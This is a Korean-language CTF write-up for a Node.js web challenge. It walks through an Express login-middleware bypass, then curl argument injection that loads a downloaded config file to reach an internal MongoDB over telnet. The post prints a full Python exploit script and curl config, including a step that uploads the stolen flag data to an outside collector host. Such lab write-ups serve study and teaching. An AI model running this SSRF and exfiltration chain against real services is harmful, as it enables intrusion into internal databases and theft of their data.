오랜만에 ctf 뛰었는데 재밌게 풀었다.
const crypto = require("crypto");
const app = db.getSiblingDB('app');
app.users.insertOne({ user: crypto.randomBytes(8).toString("hex"), pass: crypto.randomBytes(64).toString("hex") });
const secret = db.getSiblingDB('secret');
secret.flag.insertOne({ flag: process.env.FLAG || "dice{test_flag}" });
nodejs로 구현된 웹서버인데 flag는 다른 컨테이너에서 돌아가고 있는 mongodb에 있다.
app.post("/api/login", async (req, res) => {
let { user, pass } = req.body;
if (!user || !pass || typeof user !== "string" || typeof pass !== "string") {
return res.redirect("/?error=Missing username or password");
}
const users = client.db("app").collection("users");
if (await users.findOne({ user, pass })) {
req.session.user = user;
return res.redirect("/");
}
res.redirect("/?error=Invalid username or password");
});
app.post("/api/ping", requiresLogin, (req, res) => {
let { url } = req.body;
if (!url || typeof url !== "string") {
return res.json({ success: false, message: "Invalid URL" });
}
try {
let parsed = new URL(url);
if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL");
}
catch (e) {
return res.json({ success: false, message: e.message });
}
const args = [ url ];
let { opt, data } = req.body;
if (opt && data && typeof opt === "string" && typeof data === "string") {
if (!/^-[A-Za-z]$/.test(opt)) {
return res.json({ success: false, message: "Invalid option" });
}
// if -d option or if GET / POST switch
if (opt === "-d" || ["GET", "POST"].includes(data)) {
args.push(opt, data);
}
}
cp.spawn('curl', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => {
// TODO: save result to database
res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
});
});
서버에 정의된 router는 2개가 있는데 /api/ping
을 사용하기 위해선 login이 필요한 것을 알 수 있다.
하지만 register 기능이 없기 때문에 auth bypass를 하거나 취약점을 통해 로그인 시도를 해야한다.
if (!user || !pass || typeof user !== "string" || typeof pass !== "string") {
return res.redirect("/?error=Missing username or password");
}
const users = client.db("app").collection("users");
if (await users.findOne({ user, pass })) {
req.session.user = user;
return res.redirect("/");
}
login 부분을 확인해보면 users.findOne함수를 사용할 때 취약하게 사용하고 있는 것을 확인할 수 있다.
하지만 위에서 전달되는 파라미터에 대해 string 체크를 진행하고 있어서 nosql injection 공격은 불가능하다.
const requiresLogin = (req, res, next) => {
if (!req.session.user) {
res.redirect("/?error=You need to be logged in");
}
next();
};
그럼 우린 login 기능을 우회해야하는데 requiresLogin 함수를 보면 이상한 부분을 찾을 수 있다.
세션이 존재하지 않으면 res.redirect를 통해 메인페이지로 리다이렉트시키는데 return이 존재하지 않아서 그대로 next 함수가 실행되게 되고
우린 /api/ping
기능을 사용할 수 있게 된다.
app.post("/api/ping", requiresLogin, (req, res) => {
let { url } = req.body;
if (!url || typeof url !== "string") {
return res.json({ success: false, message: "Invalid URL" });
}
try {
let parsed = new URL(url);
if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL");
}
catch (e) {
return res.json({ success: false, message: e.message });
}
const args = [ url ];
let { opt, data } = req.body;
if (opt && data && typeof opt === "string" && typeof data === "string") {
if (!/^-[A-Za-z]$/.test(opt)) {
return res.json({ success: false, message: "Invalid option" });
}
// if -d option or if GET / POST switch
if (opt === "-d" || ["GET", "POST"].includes(data)) {
args.push(opt, data);
}
}
cp.spawn('curl', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => {
// TODO: save result to database
res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
});
});
/api/ping
기능을 분석해보면 curl을 통해 임의의 url로 요청을 보내는 것을 확인할 수 있다. url은 무조건 http,https로 시작해야하며 응답을 확인할 수는 없지만 curl로 전달되는 인자 값을 컨트롤하는 것이 가능하다.
그럼 임의의 파일을 서버에 다운로드 시킨 다음 -K 옵션을 통해 curl 설정파일을 불러온다면 추가적으로 인자를 전달하며 http url외에도 gopher 프로토콜을 사용하거나 내 서버로 파일을 업로드하는 등 더욱 다양한 동작이 가능할 것이다.
RUN ./configure --prefix=/build \
--disable-shared --enable-static --with-openssl \
--disable-gopher && \
make && \
make install
하지만 도커파일에서 curl을 빌드할 때 gopher 프로토콜을 disable한 것을 확인할 수 있다. 하지만 telnet 프로토콜은 사용이 가능하므로 telnet을 이용하여 exploit을 진행하였다.
telnet을 통해 mongodb와 통신을 해야하기에 mongodb에서 사용하는 wire packet에 대해 분석을 진행하였는데
mongodb client에서 server와 통신할 때 query request외에도 추가적인 요청이 발생하지만 이는 query request에 영향을 주지 않는 별개의 request이며 query request 단독으로 전송되어도 정상적으로 조회한 data를 확인할 수 있다는 것을 알아내었고 이를 토대로 exploit을 작성하였다.
import requests
import time
## download curl config file
url = "https://unfinished-d4b0a20a2b6d8605.mc.ax/api/ping"
requests.post(url,data={"url":"https://ssrf.kr/GET","opt":"-O","data":"GET"})
#time.sleep(1)
## download packet file
requests.post(url,data={"url":"https://ssrf.kr/getflagdata","opt":"-O","data":"GET"})
#time.sleep(1)
## execute curl with config file
requests.post(url,data={"url":"https://ssrf.kr/","opt":"-K","data":"GET"})
time.sleep(2)
## get flag
requests.post(url,data={"url":"https://enllwt2ugqrt.x.pipedream.net/","opt":"-T","data":"POST"})
upload-file=getflagdata
output=asdf
url="telnet://mongodb:27017"
upload-file=getflagdata
output=POST
max-time=1
서버에서 curl 바이너리를 실행할 때 timeout 때문에 exploit이 잘 안되는데 몇 번 시도하다보면 flag를 획득할 수 있다.
'ctf writeup' 카테고리의 다른 글
Balsn CTF 2022 2linenodejs writeup (0) | 2022.09.07 |
---|---|
2022 Fall GoN Open Qual CTF writeup (2) | 2022.09.01 |
LINE CTF 2022 web writeup (0) | 2022.03.27 |
Codegate 2022 Preliminary writeup (0) | 2022.02.27 |
Real World CTF 4th - web writeup (0) | 2022.01.30 |